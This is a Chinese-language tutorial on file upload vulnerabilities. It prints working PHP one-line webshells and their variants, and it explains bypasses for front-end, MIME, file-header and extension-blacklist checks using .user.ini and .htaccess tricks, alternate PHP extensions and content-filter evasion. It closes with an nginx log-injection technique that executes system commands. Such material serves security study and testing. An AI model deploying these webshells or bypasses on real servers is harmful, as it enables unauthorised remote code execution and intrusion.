文件上传漏洞--理论
什么是文件上传漏洞?
Web应用允许用户上传文件,但是没有对上传的文件进行严格的过滤和检测,导致网站执行了文件中包含的恶意代码。
漏洞的基本利用方式是:
成功上传包含恶意代码的文件,并在服务端成功执行该文件。
可见实现该漏洞的两个要点在于上传与执行。
一句话木马
指仅由一行代码构成的木马文件。通过在服务端植入这行代码,就能获取到执行服务端命令的权限。
下面是最基本的一句话木马:
//shell.php
<?php @eval($_POST[1]);?>
@指即使后面发生错误也不报错。
eval()函数将函数中的内容当作php代码执行。
$_POST[1]表示通过POST向网页传递名为1的参数。
当我们成功上传木马程序后,只要能找到它在目标服务器的对应位置,就能打开该程序并执行系统命令。
一句话木马的其他形式:
<?=@eval($_POST['cmd']);?> //短标签,适合过滤php时使用
<% @eval($_POST['cmd']);%> //asp风格
<script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?时使用
常见的文件上传漏洞
前端校验
有些网站将对上传文件的检测及过滤功能写在了前端,导致攻击者能够轻松绕过检测。
例如下面这个界面,就是将检测功能写在了前端。
我们注意到该页面只允许上传后缀为png的文件。对于这种情况,我们常用的绕过方法有两种。
第一种: 修改前端代码。
F12–查看器,将相应的位置修改为php,就可以上传php后缀的文件。
第二种: 将我们的.php文件修改为.png文件,然后上传并抓包,在请求体中将后缀名修改回.php,同样绕过了前端检测。
MIME验证
对文件的媒体类型进行检测,媒体类型信息在请求头中位于文件的Content-Type位置,如果不符合上传要求,就会被拦截。
对于这种检测,我们的绕过方式是将Content-Type修改为允许上传的类型。
常见的图片格式媒体类型:
image/jpeg:JPEG格式图片;
image/gif:GIF格式图片;
image/png:PNG格式图片;
文件头校验
每一种类型的文件都有不同的文件头。文件头的作用与后缀类似,都是用于提示文件类型,可以理解为文件的前缀。
文件头写在文件内容的开头,所以对文件头的校验就是检测文件内容的开头是否是合法的文件头。
绕过方式:
一般在文件内容的开始加入GIF89a,这是GIF文件的文件头,文件上传时一般是合法的。
GIF89a
<?php @eval($_POST[1]);?>
后端过滤后缀名(.user.ini)
在服务端的后端定义了一个后缀名黑名单,并会检测用户上传文件的后缀名是否位于该黑名单中。如果在,则拒绝上传。
对于这种过滤,我们只能将木马程序的后缀名修改为合法的后缀名才能成功上传。
但是这种情况下,服务端就不会将我们的木马程序解析为PHP程序,也就不能正常执行我们的木马。
为了让服务器能够以正常执行我们的程序,可以上传 .user.ini 文件。
//.user.ini
auto_prepend_file=shell.png
这个文件的作用是:在访问主页文件时,会自动包含shell.png文件,将其文件内容当做php代码执行。
如果我们上传的文件在/upload目录下,那么upload就是shell.png的主页文件。我们访问/upload时,会自动包含并以php代码形式执行shell.png中的恶意代码。
后端过滤后缀名(.htaccess)
当.htaccess文件被放置在目录中时,.htaccess文件会被ApacheWeb服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用ApacheWeb服务器软件所提供的额外功能和特性。
我们需要的.htaccess文件内容是这样的:
AddType application/x-httpd-php .png
意思是将同目录下的所有png文件当作php执行。
后端过滤后缀名(Apache下的php后缀名解析漏洞)
在Apache中,以下后缀名都会被服务器解析为PHP文件:
phtml
php
php3
php4
php5
inc
//下面是对上面的大小写混写绕过
pHtml
pHp
pHp3
pHp4
pHp5
iNc
可以通过将php替换为这些后缀,绕过对后缀名的过滤。
文件内容过滤
即服务器后端对文件的内容进行了检测,如果其中包含不合规的内容,就会拒绝文件上传。
常见过滤及绕过:
过滤php 使用短标签 <?= 绕过
过滤[] 使用{}绕过
过滤[]和{} 不能使用一句话木马,直接上传RCE代码
过滤() 使用反引号执行RCE
过滤()和反引号 不能正常上传恶意代码,考虑使用日志注入
日志注入
日志注入就是在服务器的日志文件中注入我们要执行的恶意代码。
常规的绕过文件上传的方法失败,我们可以考虑日志注入。
对于nginx,其在linux下的日志文件位置一般是:
/var/log/nginx/access.log
所以我们的恶意程序内容为:
//shell.png
<?=include"/var/log/nginx/access.log"?>
如果某些关键字被过滤,可以使用拼接绕过。
比如log被过滤:
//绕过方式
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后我们访问上传的文件的位置,就会自动包含日志文件。
然后:
修改UA为:<?php eval($_POST[1]);?>
POST传参:
1=system('ls ../');
重新加载网页两次:第一次会将恶意代码写入日志文件;第二次就会执行日志文件中的恶意代码。